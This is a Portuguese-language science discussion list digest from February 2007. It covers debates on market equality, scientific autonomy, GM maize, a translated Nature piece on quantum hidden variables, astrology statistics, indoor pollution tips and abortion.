TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 15:22

Oi,

Manuel escrevera: Com efeito, para o comerciante não importa se o
indivíduo é branco, negro, cristão, islamita, hutu ou tutsi: o que
lhe importa é que o indivíduo compre suas mercadorias e lhe venda os
seus produtos (a igualdade dos homens como produtores e consumidores).

Takata: Aparentemente isso não leva ao tratamento igual entre as
pessoas. Apenas substitui o critério de discriminação. Não mais a
diferença entre negros, cristãos, muçulmanos, tutsis e hutus, mas sim
entre quem pode comprar a mercadoria e quem não pode, quem pode
comprar mais e quem pode comprar menos.

Manuel: Se antes as pessoas eram discriminadas - e até mesmo
desumanizadas - por vários motivos (o sexo, a idade, a etnia, o credo
etc.), com a generalização das relações mercantis só restou um
critério de diferenciação: o poder de compra. Um enorme progresso,
não concorda?

E não se trata mais de critério de discrinação qualitativa, pois, uma
vez que o poder de compra é meramente quantitativo, a diferença entre
os indivíduos não é mais de espécie, mas de grau.

Considere também que, assim como uma taxa pequena de lucro pode ser
compensada por uma grande massa de lucro, do mesmo modo - e
considerando que o grosso da produção não é de artigos de luxo, mas
de bens de consumo básicos, como, por exemplo, farinha - a soma do
poder de compra dos pobres é com freqüência maior que a de uma
minoria abastada. (É por isso que eu, um reles barnabé, estou
constantemente sendo paparicado por grandes corporações capitalistas,
através de e-mails e telemarketing: Volkswagen, Citibank/Citicorp,
American-Express...).

Ademais, falei da igualdade dos homens como consumidores e, também,
como PRODUTORES: para os comerciantes, certa categoria de indivíduos,
mesmo que não lhes seja interessante como consumidores (de colares de
pérola, por exemplo), pode lhes convir como produtores (de ilhame,
batata-doce etc.).

Mas não é minha intenção fazer a apologia incondicional do
comerciante "in abstractum". Este é capaz de vender qualquer coisa,
de saladas vegans a metralhadoras, justificando-se neste e naquele
sentimento humano (o amor, a vingança, as pulsões sadomasoquistas,
necrófilas...).

Somente através do Estado de Direito Democrático se pode chegar a
este ponto ótimo que envolve todas essas variáveis: o lucro, a saúde,
o equilíbrio da biosfera etc.

Manuel: a autonomia individual é prerrequisito do desenvolvimento da
Ciência.

Takata: O pior é q não.

Manuel: Bem, você é cientista, eu não. Gostaria que você
fundamentasse essa sua opinião, que vai de encontro a de vários
outros cientistas e epistemólogos, como Popper.

Abraços,
Manuel Bulcão



SUBJECT: Re: A universalização dos valores morais
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 15:42

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Manuel: Se antes as pessoas eram discriminadas - e até mesmo
> desumanizadas - por vários motivos (o sexo, a idade, a etnia, o
> credo etc.), com a generalização das relações mercantis só restou um
> critério de diferenciação: o poder de compra. Um enorme progresso,
> não concorda?

Restou nao. Acrescentou. Ainda existe preconceito de raca, sexo,
ideologia... [por exemplo, o preconceito dos vegans em relacao aos
nao-vegans, a quem eles consideram eticamente inferiores.]

> Manuel: a autonomia individual é prerrequisito do desenvolvimento da
> Ciência.
>
> Takata: O pior é q não.
>
> Manuel: Bem, você é cientista, eu não. Gostaria que você
> fundamentasse essa sua opinião, que vai de encontro a de vários
> outros cientistas e epistemólogos, como Popper.

Nenhum cientista tem autonomia individual. Ele precisa obedecer aos
vinculos da instituicao a q se filia. E se esse cientista, por acaso,
eh o dono da instituicao, ele ainda assim precisa se submeter 'a
avaliacao de orgaos de financiamento, 'as pressoes do mercado, 'as
leis locais, etc.

Ademais, existe um jogo entre a quantidade de sinal q pode ser
transmitido/trocado e o teor de ruido q se transmite junto pelos
canais. Qto mais livre o canal, maior a quantidade de informacao q
passa, mas ao mm tempo, maior a quantidade de ruido q passa. Qto maior
a filtragem, maior a barragem do ruido, mas tb mais informacao se
perde. Acaba por ser necessario estabelecer um ponto de equilibrio a
fim de otimizar a relacao sinal/ruido.

Mas vamos aos exemplo concretos em relacao 'a autonomia individual e o
desenvolvimento cientifico. A maior parte do desenvolvimento
cientifico se deve a uma politica governamental deliberada de
investimento em ciencias - um exemplo q epitomiza isso eh o
desenvolvimento da industria aeroespacial, outro exemplo recente eh a
corrida genomica. Ao q se estabelece uma politica, a autonomia
individual eh restrita: os programas de financiamento se concentram em
umas poucas areas q se quer desenvolver.

Em um exemplo caricatural, vamos considerar a maxima autonomia
individual dos cientistas em suas linhas de pesquisa. Deixemos de lado
os aspectos eticos (por exemplo, restricoes qto ao uso de cobaias
humanas). Ao q se privilegia isso, abrimos mao do criterio de
investimento em areas com maior pontecial de resultados - do contrario
haveria restricao da autonomia individual. Isso significaria q boa
parte dos recursos seguramente estariam sendo sugados por linhas de
pesquisa seguramente infrutiferas - ou apenas estocasticamente
produtivas. Um cientista q quisesse investigar o efeito da ingestao de
confeitos M&M's na habilidade de se jogar War Craft teria os mm
privilegios de investimento do q um cientista q investigasse o efeito
de certos poluentes no metabolismo animal.

Com isso, nao se quer dizer q a autonomia individual deve ser
restringida ao maximo. Apenas q o desenvolvimento cientifico nao eh
uma das justificativas para isso.

Dito de um modo solene: a maxima autonomia individual significa a
completa anomia coletiva.

[]s,

Roberto Takata



SUBJECT: Transgênicos. Afinal, quem diz o quê?
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/02/2007 16:07

Afinal, os dados científicos apontam para um uso sem perigos ou isto é falácia? O Greenpeace tem razão de chiar, ou chia só para fazer barulho e terem o que fazer? Como fica esse embate? Tenho cá minhas conclusões, mas gostaria de ler as dos experts da lista. Êta joguinho da corda, sem fim!
Uso já há algum tempo muitos produtos derivados da soja. Se são transgênicos ou não, não sei. Nem quero.

Sds,
Victor.


"diretora-executiva do Conselho de Informações sobre Biotecnologia (CIB), Alda Lerayer, disse hoje que plantar milho geneticamente modificado (transgênico) é um ato ecológico, pois requer menor uso de agrotóxicos.

"Ao plantar milho transgênico há a redução de milhares de quilos de inseticidas nas plantações e isso é muito importante para o meio ambiente. Não há a necessidade de aplicação desses produtos no combate a lagartas, pois o milho já é resist

ente, por isso apresenta uma qualidade superior", diz Alda Larayer.

A executiva afirmou que tem expectativa de o uso do milho transgênico seja liberado na reunião da Comissão Nacional Técnica de Biossegurança (CNTBio), marcada para a tarde de hoje.

Ela lembrou que, antes de produtores, os agricultores são consumidores, portanto não iriam plantar algo que faz mal à saúde deles e da família. "Todos eles querem plantar, pois o custo de produção é menor, a qualidade é superior e diminui muito o risco de intoxicação (de quem lida diretamente com a plantação)".

Ela esclareceu que qualquer produto transgênico antes de ser liberado para a comercialização passa por inúmeros testes, que avaliam aspectos de biossegurança (segurança das atividades que envolvem organismos vivos) e só são comercializados produtos considerados seguros para a saúde animal, humana e o meio ambiente.

Esses argumentos não são aceitos pela organização ambientalista Greenpeace. Para Gabriela Vuolo, coordenadora da Campanha de Engenharia Genética da organização, o pólen do milho é muito leve, portanto, a partir da ação do vento pode haver a mistura entre variedades de milho convencionais pelo transgênico.

Na visão da diretora-executiva do CIB, existe aí uma grande falta de informação. Segundo ela, os ambientalistas "disseminam inverdades, informações aleatórias, sem nenhum embasamento cientifico", pois já está mais que comprovado que a coexistência do milho tansgênco com o convencional é possível.

"Os produtores de milho da França comprovaram que com dez metros de distância (entre uma plantação de milho transgênico e uma convencional) é o necessário para que se mantenha e se preserve a integridade das produções. Eles (o Greenpeace) passam mensagens baseadas na falta de informações das pessoas e isso causa medo, pois todos temem o desconhecido".

Desde o dia 12, a organização não-governamental Greenpeace realiza atos de protesto em várias capitais do país contra a liberalização do plantio e consumo de diversas patentes de milho transgênico no Brasil. A medida pode ser aprovada hoje, pela Comissão Técnica Brasileira de Biossegurança (CTNBio), reunida em Brasília

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] MQ: A VERDADE SOBRE A REALIDADE
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 16:32

NATURE.COM, 14-02-2007

QUANTUM MECHANICS: THE TRUTH ABOUT REALITY

Gregor Weihs

As esperanças de manter a mecânica quântica 'real' foram varridas por
novas medidas do comportamento quântico de nêutrons. Ao contrário do
que nossas sensibilidades clássicas pedem, o mundo é fundamentalmente
aleatório.

Albert Einstein estava convicto de que "deus não joga dados"; em
outras palavras, ele não poderia aceitar a teoria quântica, com sua
aleatoriedade inerente, como uma descrição fundamental do mundo.
Desenvolvendo o tema em um tabalho posterior com Boris Podolsky e
Nathan Rosen, deu a entender que ele acreditava em uma camada mais
básica de verdade subjacente à mecânica quântica. Isso deveria ser
expresso em 'variáveis ocultas' que reconciliariam a validade
puramente estatística das medidas quânticas com a visão de mundo
clássica e determinista. Em um artigo na Physical Review Letters, Yuji
Hasegawa et al. (2006) dão um novo golpe a esses esforços já
cambaleantes de injetar algum realismo na física quântica.

Dois teoremas desenvolvidos na década de 1960 impuseram sérias
limitações às tentativas de completar a física quântica como Einstein
queria. Na primeira, John Bell demonstrou que as teorias de variáveis
locais, que não permitem nenhuma influência remota, não poderia
explicar certas observações quânticas. Na segunda, Simon Kochen e
Ernst Specker provaram independentemente que as variáveis ocultas mais
gerais, chamadas não-contextuais, também não eram viáveis. Muitos
experimentos desde então têm usado o teorema de Bell para invalidar
variáveis ocultas locais. Muito menos trabalhos foram feitos no
teorema Kochen–Specker, especialmente para outras partículas além dos
fótons.

Nêutrons são cobaias convenientes para esse tipo de experimentos
delicados necessários para investigar esses aspectos da física
quântica: acima de tudo, eles não possuem carga, o que torna mais
fácil de se observar os efeitos envolvidos. O princialmente deles são
os efeitos de spin, a propriedade da partícula que a faz tender a se
alinhar a um campo magnético. A física quântica nos diz que o spin é
quantizado: se ele for medido ao longo de uma dada direção, ele irá
apontar para um sentido ou para outro, mas nunca em uma direção
intermediária. Além disso, se o spin for medido na direção vertical
(z) e for para cima, uma medição subseqüente na direção horizontal (x)
dará, aleatoriamente, para a direita ou para a esquerda. De modo
simlar, se x for medido antes, o valor de z será aleatório.

Esse tipo de aleatoriedade que não era do gosto de físicos como
Einstein. Variáveis ocultas deveriam permitir que os resultados das
medidas de z e de x pudessem ser determinadas simultaneamente. Em
total contraste, a física quântica simplesmente diz que os componentes
z e x do spin não podem ser quantificados ao mesmo tempo. É, na
verdade, uma questão de princípio que ambas as medidas exijam
experimentos diferentes.

Outras características, como a posição do nêutron, podem ser medidas
ao mesmo tempo que o spin. Os procedimentos para medir a posição e o
spin não se interferem mutuamente e as medidas são ditas compatíveis.
Assim é natural querer que qualquer variável oculta introduzida para
explicar as medidas dos componentes do spin também expliquem os
resultados das medidas simultâneas do spin e da posição: o valor
governado pela variável oculta do spin não deve depender de uma medida
específica da posição e vice versa. Essa condição é chamada de
não-contextualidade: que o resultado gerado por qualquer variável
oculta não deve diferir segundo qualquer outra medida compatível
realizada ao mesmo tempo.

Mas parece que, como sempre, a teoria quântica quer ter a última
palavra: ela obstinadamente recusa a admitir variáveis ocultas mesmo
nessas condições aparentemente inocentes. Acontece que os nêutrons
podem ser preparados de tal modo que as medidas de spin e de posição,
embora ainda nominalmente independentes, sejam tão fortemente
correlacionadas que as variáveis ocultas não-contextuais não são
capazes de explicá-las. Sem surpresas para os que conhecem as
esquisitices quânticas, o emaranhamento - o holismo misterioso no qual
o estado de um objeto quântico é ligado ao estado de um segundo objeto
separado - é a chave para esse truque.

O fato de que variáveis ocultas não-contextuais não conseguem explicar
a correlação spin-posição de nêutrons emaranhados é uma variante do
teorema Kochen–Specker. Por muito tempo, pensou-se que fosse
intestável porque, em sua forma original, requeria medições
infinitamente precisas. Com um tratamento estatístico, no entanto, uma
inequação pode ser derivada que restringe as predições para os
resultados das medições feitas por qualquer modelo de variáveis
ocultas não-contextuais.

Com essa teoria à mão, Hasegawa et al. passaram um feixe de nêutrons
através de um inferômetro especialmente projetado que dividia os
nêutrons que chegavam em dois feixes com estados opostos de spin. O
caminho que um nêutron em particular toma se torna emaranhado com seu
spin. Os caminhos são recombinados após o nêutro passar por um
alterador de fase (induzindo a um lapso variável) e o nêutron deixa o
interferômetro atravpes de um de duas portas de saída, dependendo da
alteração de fase. O resultado final é que se pode medir a posição do
nêutron - a porta pelo qual ele sai - bem como seu spin ao longo de
uma de duas direções ortogonais.

As medições da porta de saída para duas alterações de fase seguem a
mesma regra das medições do spin z e x. Não se pode medir ambos
simultaneamente, a segunda medida irá mostrar aleatoriamente o nêutron
em um das duas portas. Por analogia, podemos chamar de medições de
porta z e x.

Hasegawa e seus colaboradores fizeram medições de z e x tanto dos
spins como da porta de saída dos nêutros à medida que saíam do
interferômetro. Sem grandes surpresas, eles demonstraram de modo
convincente que as correlações entre as medidas são mais fortes que
qualquer coisa permitida pela inequação teórica para modelos
envolvendo variáveis ocultas não-contextuais. Em resumo, as medidas de
spin fixam os valores de spin das variáveis ocultas e as medições de
porta fixam os valors de porta. Isso não deixa nenhum espaço para
manobra. Mas, para as variáveis ocultas se tornarem compatíveis com os
resultados das medições conjuntas, é preciso apenas mais latitude.

Mesmo que experimentos desse tipo sejam muito difíceis — o feixe de
nêutrons de Hasegawa e colaboradores é tão débil quanto a luz de uma
velo vista a 16 quilômetros de distância — os dados são incrivelmente
claros e não deixam nada para interpretar. Assim, a menos que se
permita a existência de variáveis ocultas contextuais com influências
mútuas muito estranhas, é preciso abandoná-las — e, por extensão, o
'realismo' na física quântica - todas. Sabia-se disso para os fótons,
mas a corroboração em um sistema distinto deve ajudar a convencer os
céticos, bem como assegurar isso para o resto de nós.

Em um tempo em que o processamento de informações quânticas está se
tornando um campo estabelecido na física e na ciência da computação, é
importante testar os fundamentos da teoria subjacente. Pode parecer
estranho, dado que os últimos 100 anos mostraram que a teoria quântica
é muito boa em perdizer os resultados de experimentos. Mas se se
concorda com Einstein, então não importa quão prática uma teoria seja:
ela pode não ser suficientemente real. (t)

http://www.nature.com/nature/journal/v445/n7129/full/445723a.html
-----------------------

[]s,

Roberto Takata



SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 16:34

--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
> Afinal, os dados científicos apontam para um uso sem perigos ou
> isto é falácia?

Cada caso é um caso. A legislação brasileira burramente impôs um
embargo de quatro anos (apenas recentemente terminado) até nos estudos
sobre a segurança biológica dos alimentos transgênicos (as plantações
eram liberadas por MP, mas as pesquisas não), de modo que não se tem
dados suficientes para o Brasil.

[]s,

Roberto Takata



SUBJECT: P/ Manuel - Re: [ciencialist] Re: A universalização dos valores morais
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/02/2007 16:39

Olá Manuel

Manuel: "Manuel: Se antes as pessoas eram discriminadas - e até mesmo
desumanizadas - por vários motivos (o sexo, a idade, a etnia, o credo
etc.), com a generalização das relações mercantis só restou um
critério de diferenciação: o poder de compra. Um enorme progresso,
não concorda?
E não se trata mais de critério de discrinação qualitativa, pois, uma
vez que o poder de compra é meramente quantitativo, a diferença entre
os indivíduos não é mais de espécie, mas de grau."

E poderiamos considerar a maior justiça em basear julgamentos em qualidades flexiveis e não mais fixas. Uma pessoa negra não pode ficar branca, uma mulher não pode se tornar homem, etc, mas uma pessoa pobre pode se tornar rica (em termos) ou menos pobre. Uma discriminação por esse parametro pode desaparecer apenas pela melhora das condições economicas de uma sociedade (como a Finlandia), enquanto a discriminação de cor será perpétua, pelo menos do ponto de vista do individuo.

Idem para a discriminação por sexo ou etnia.

E saber que determinada condição pode mudar (hoje você está rico ou bem de vida, mas amanhã quem sabe) pode aumentar a participação social, em movimentos de apoio e ajuda, que a certeza de que não vai acontecer nada com você nunca (como ser príncipe ou da etnia dominante na sociedade, como um bramane indu) devido a discriminação positiva de seu ambiente. Da mesma forma, estar em má situação, mas saber que isso pode mudar, pode aumentar a vontade e o impulso de lutar e de se esforçar, exigir mais direitos, etc, enquanto um pária indu pode simplesmetne desistir, uma vez que jamais será aceito ou melhorará de vida, não importa o que aconteça.

Parece que determinadas discriminações são mais tolerantes com desvios do padrão que outras, e ser mais tolerante é sempre melhor, para o individuo.

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: [RN] FALSAS CORRELACOES
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 16:57

G1.COM.BR, 16-02-2007

CIENTISTAS RELACIONAM DOENÇAS À ASTROLOGIA

Grupo descobriu que nascidos sob Peixes têm riscos maiores de
problemas cardíacos.
Intenção é provar que é possível estabelecer estatísticas sobre
qualquer coisa.

http://g1.globo.com/Noticias/0,,MUL6195-5603,00.html
-----------------
[]s,

Roberto Takata



SUBJECT: Poluição Doméstica
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 16/02/2007 17:10

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DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 16/02/2007 - No.042

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

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Olá,

Você sabia que de cada 10 pessoas, uma apresenta algum tipo de alergia? No Brasil, mais de 20 mihões de pessoas sofrem com Rinite, Asma ou Urticária alérgica – um contingente maior que toda a população Australiana.

Fica a impressão de que atualmente mais pessoas sofrem com problemas alérgicos. Não é uma impressão errada. A modernidade trouxe como brinde um maior acesso e um maior contato com diversas substâncias potencialmente nocivas, e como cada ação resulta em uma reação...

Um dos ambientes menos suspeitos para contato com estas substâncias é sua própria casa. Ela pode ser um ninho de Alérgenos e é exatamente sobre isso que falaremos hoje.

Espero que seja uma boa leitura.

Nos vemos adiante,


Dr. Alessandro Loiola.

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Poluição Doméstica
© Dr. Alessandro Loiola



Na ralação do dia a dia, todo mundo sonha com aquela hora sagrada de juntar as coisas e voltar para casa. Para a calma, a paz e a segurança de casa – é óbvio que isto não vale para quem tem crianças em casa ou vizinhas com TPM, mas você entendeu o conceito...

Sentir-se seguro em casa é uma das maiores armas contra o estresse. Nada como esparramar-se no sofá e deixar a tensão ir embora entre um cochilo despreocupado e outro.

Quem poderia imaginar que, em um cenário desses, o perigo pudesse estar à sua espreita, muito mais próximo do que você jamais imaginaria. O perigo poderia estar no próprio ar que você respira! Nos últimos anos, várias pesquisas vêm indicando que o ar em nossas casas pode estar mais contaminado que o ar da “rua”, mesmo em grandes cidades industrializadas. Muitos poluentes apresentam níveis 2 a 5 vezes maiores dentro de casa do que na rua.

A raiz do problema está nas várias fontes domésticas emissoras de gases e partículas microscópicas. Além disso, uma ventilação inadequada aumenta os níveis de agentes nocivos ao não permitir uma renovação adequada da atmosfera no interior da casa. Temperaturas elevadas e altos níveis de umidade também aumentam as concentrações de certos poluentes. O resultado: chegando em casa para o merecido descanso, eis que seu corpo começa a travar uma nova e estressante luta contra toxinas altamente perigosas.

As fontes mais comuns de poluição doméstica incluem óleos, ceras, produtos de limpeza, gás de cozinha, materiais de construção, tapetes, carpetes, cortinas de tecido, inseticidas, ar condicionado e materiais de construção estocados de maneira inapropriada.

Os efeitos da exposição a esta forma de poluição podem surgir imediatamente ou levar anos até se manifestar. Os mais imediatos incluem irritação dos olhos, nariz e garganta, dor de cabeça, tonteira e fadiga. As manifestações são mais comuns em idosos e crianças, justamente os mais expostos ao ambiente doméstico.

Em muitos casos, é difícil determinar se os sintomas foram causados por exposição à poluição doméstica. Por isso é importante ficar atento ao local e ao período em que as alterações ocorreram: sintomas recorrentes sempre que se tem contato com um determinado ambiente da casa sugerem que a poluição doméstica seja a causa.

As principais medidas que você pode tomar para reduzir a concentração de poluentes em casa incluem:


Corrija infiltrações nas paredes, elas são uma fonte importante de fungos. Tenho vários pacientes cujas crises periódicas de asma estavam relacionadas a paredes com infiltrações escondidas atrás de armários e outros móveis.


Prefira cortinas de PVC ao invés de tecido.


Mantenha seus tapetes e sofás limpos. Contrate firmas especializadas para fazer o serviço, se necessário.


Janelas e portas devem ficar abertas sempre que for possível e seguro.


Cuidado redobrado com a ventilação, principalmente quando estiver realizando pinturas, cozimentos, soldas e reformas em geral.


Ao ligar o ventilador de teto, prefira a função de exaustor. E verifique sempre se as paletas do ventilador estão devidamente limpas.


Faça manutenção periódica no seu ar-condicionado.


Plantas no interior da casa regadas excessivamente podem abrigar fungos na terra que lhes sustenta, afetando pessoas alérgicas.


Troque seu colchão a cada 5 anos e seu travesseiro a cada 1-3 anos. Para você ter uma idéia: calcula-se que, após 5 anos de uso, 10% do peso de um travesseiro seja composto por ácaros e células mortas descamadas da sua pele.


E NUNCA fume dentro de casa.

---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Transgênicos. Afinal, quem diz o quê?
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/02/2007 18:02

At 15:34 16/2/2007, you wrote:

>--- Em
><mailto:ciencialist%40yahoogrupos.com.br>ciencialist@yahoogrupos.com.br,
>"Victor" <jvoneto@...> escreveu
> > Afinal, os dados científicos apontam para um uso sem perigos ou
> > isto é falácia?
>
>Cada caso é um caso. A legislação brasileira burramente impôs um
>embargo de quatro anos (apenas recentemente terminado) até nos estudos
>sobre a segurança biológica dos alimentos transgênicos (as plantações
>eram liberadas por MP, mas as pesquisas não), de modo que não se tem
>dados suficientes para o Brasil.
>
>[]s,
>
>Roberto Takata





BETINHO, meu querido...

tecnologias são estratégias.

estratégias são operatividades de um projeto.

A decisão sobre a estratégia tecnológica
"transgênicos" deveria estar consoante com um projeto...
um projeto de nação.

Projeto de nação aqui não existe.

Portanto... esse debate sobre transgenicos não
passa de mais dos grandes debates de marias
malucas que afligem nossas agendas e cenários.

Ciência e Tecnologia são ações subalternas.

L.E.


















=

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] [RN] FALSAS CORRELACOES
FROM: "jvictor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/02/2007 18:02

Faço um esforço tremendo para ser tolerante com coisas desse tipo, mas não consigo. Para mim, quem faz declarações desse tipo pode ser qualquer coisa, menos cientista, menos uma pessoa que entende, minimamente que seja, o que significa ciência.
Está certo que eles estão é se lixando para o que eu penso a respeito ou não. Não dou qualquer valor a qualquer profissional de física ou matemática que pregue essas asneiras, dando-as como verdades e apoadas pela ciência. Como a Bíblia. Pratica-se, assim, mais um deseserviço à humanidade, com tail exploração da credulidade das pessoas, nessas coisas misteriosas.
Nesse mister, sou tão radical, quanto os radicais de outras áreas, que critico tanto e que juro que não sou que nem! Pimenta nos olhos dos outros é uma belezura! Mas julgo que tenho direito à alguma incoerência assumida e acabada, como essa. Que ninguém é de ferro.
Sds,
Victor.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 16, 2007 3:57 PM
Subject: [ciencialist] [RN] FALSAS CORRELACOES


G1.COM.BR, 16-02-2007

CIENTISTAS RELACIONAM DOENÇAS À ASTROLOGIA

Grupo descobriu que nascidos sob Peixes têm riscos maiores de
problemas cardíacos.
Intenção é provar que é possível estabelecer estatísticas sobre
qualquer coisa.

http://g1.globo.com/Noticias/0,,MUL6195-5603,00.html
-----------------
[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ JVictor - Re: [ciencialist] [RN] FALSAS CORRELACOES
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/02/2007 19:15

Olá JVictor

JVictor: "Não dou qualquer valor a qualquer profissional de física ou matemática que pregue essas asneiras, dando-as como verdades e apoadas pela ciência."

Compartilho de sua indignação, mas acho que nesse caso não se aplica. O estudo apresentado não tenta demonstrar que a Astrologia (arghh) é valida cientificamente, mas pelo contrário, que se baseia em falsas relações estatísticas. Que podem ser encontradas em qualquer lugar, a partir de nossa tendencia mental de encontrar padrões.

De uma lida com mais calma no artigo (eu mesmo tive de superar a tendencia a recusar a leitura "a priori" e veja que é bem razoável.

É algo como os que "vêem" relações númericas esotericas nas medidas das piramides. Sem notar que, qualquer edificação, com quaisquer medidas, se procurar bem, acha outras medidas e outras relações numéricas.

Um abraço.

Homero





----- Original Message -----
From: jvictor
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 16, 2007 5:02 PM
Subject: Re: [ciencialist] [RN] FALSAS CORRELACOES


Faço um esforço tremendo para ser tolerante com coisas desse tipo, mas não consigo. Para mim, quem faz declarações desse tipo pode ser qualquer coisa, menos cientista, menos uma pessoa que entende, minimamente que seja, o que significa ciência.
Está certo que eles estão é se lixando para o que eu penso a respeito ou não. Não dou qualquer valor a qualquer profissional de física ou matemática que pregue essas asneiras, dando-as como verdades e apoadas pela ciência. Como a Bíblia. Pratica-se, assim, mais um deseserviço à humanidade, com tail exploração da credulidade das pessoas, nessas coisas misteriosas.
Nesse mister, sou tão radical, quanto os radicais de outras áreas, que critico tanto e que juro que não sou que nem! Pimenta nos olhos dos outros é uma belezura! Mas julgo que tenho direito à alguma incoerência assumida e acabada, como essa. Que ninguém é de ferro.
Sds,
Victor.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Friday, February 16, 2007 3:57 PM
Subject: [ciencialist] [RN] FALSAS CORRELACOES

G1.COM.BR, 16-02-2007

CIENTISTAS RELACIONAM DOENÇAS À ASTROLOGIA

Grupo descobriu que nascidos sob Peixes têm riscos maiores de
problemas cardíacos.
Intenção é provar que é possível estabelecer estatísticas sobre
qualquer coisa.

http://g1.globo.com/Noticias/0,,MUL6195-5603,00.html
-----------------
[]s,

Roberto Takata

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] [RN] MQ: A VERDADE SOBRE A REALIDADE
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/02/2007 20:10

----- Original Message -----
From: "rmtakata" Sent: Friday, February 16, 2007 3:32 PM
Subject: [ciencialist] [RN] MQ: A VERDADE SOBRE A REALIDADE

Vamos analisar o seguinte trecho de um dos parágrafos do artigo reproduzido:

> "O princialmente deles são os efeitos de spin, a propriedade da partícula
> que a faz tender a se alinhar a um campo magnético. A física quântica nos
> diz que o spin é quantizado: se ele for medido ao longo de uma dada
> direção, ele irá apontar para um sentido ou para outro, mas nunca em uma
> direção intermediária."

Muito estranho. Mas muito mesmo. Em primeiro lugar, o autor caracteriza o
spin como "a propriedade da partícula que a faz tender a se alinhar a um
campo magnético". Logo a seguir ele afirma que o spin é quantizado, pois
nunca apontará numa direção intermediária. Ora, isso é um absurdo!!! Se para
caracterizar esse spin eu preciso de um campo magnético, é óbvio e ululante
que esse spin jamais irá se fixar numa direção intermediária quando for
medido através de um campo magnético. A direção está fixada pelo campo que
mede esse spin, e a única variação que poderá ser "classicamente"
caracterizada será o sentido up ou down. Isso não caracteriza quantização
(no sentido moderno do termo) nem aqui nem na China, mas trata-se tão
somente de um artefato de técnica.

Aliás, esse assunto já foi apresentado de maneira bastante detalhada aqui na
Ciencialist em abril de 2000 (thread Teorias Realistas Atuais), em especial
na msg 4790,
http://www.ecientificocultural.com/ECC2/Dialogos/varios/ci4790.htm , e os
físicos da lista ainda estão a me dever uma resposta. Os únicos que
comentaram algo a respeito foram 1) o Léo, para denunciar "a falta do
desfecho final da thread Teorias Realistas" (msg 4845), e 2) o Belisário, em
resposta ao Léo (msg 4848) e para justificar o porquê não havia respondido a
minha msg.

Permaneço no aguardo de alguma resposta a derrubar meus argumentos. Enquanto
isso, volto a afirmar: "As idéias de Bell, em hipótese alguma, contradizem
as teorias clássicas da física e a experiência de Aspect, quando muito,
serve como critério para escolha entre o roto e o esfarrapado, qual seja,
entre as teorias locais e as não-locais."

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] P/ Jose Renato - Re: Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/02/2007 23:21

Caro, Homero! Faço comentários após os seus, OK?
E para melhor entendimento colei ao final as mensagens anteriores, que vc
tinha apagado: a de Bulcão, colando o endereço do site com vídeos das
remoções das peles de animais, e a de Chicão questionando porque não podemos
fazer o mesmo com os seres humanos...
.................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 12, 2007 11:45 PM
Subject: [ciencialist] P/ Jose Renato - Re: Crueldade com animais


Olá Jose Renato

Renato: "tanto a grávida como o médico terem a intenção definida e
clara de dar fim ao nascituro, ambos se consideram justificados por
diversos motivos. Ela se livra de um "problema" e ele embolsa mais uns
trocados fácil, fácil. Só dá complicação quando isso é denunciado por
anti-abortistas xiitas sensíveis, documentado, gravado, divulgado."

H - Embora seu proselitismo religioso obsessivo canse, e o assunto esteja
esgotado, é difícil deixar passar sua insistência em "pintar" os que
pensam diferente de você, e que são a favor do aborto, como monstros
insensíveis, malvados, cruéis, que se divertem destruindo bebês
inocentes, enquanto os perfeitos e sensíveis anti-aborto tentam salvar
suas "alminhas" semeadas por deuses imaginários.
Não é simples assim, Renato. Os que são a favor do aborto tem tanta,
ou mais, consideração pela vida, pelas pessoas, por seres humanos, que
você e que anti-abortistas (muitos dispostos a matar pessoas que
certamente são seres humanos, como médicos e mulheres grávidas em nome
da defesa de células e mórulas).
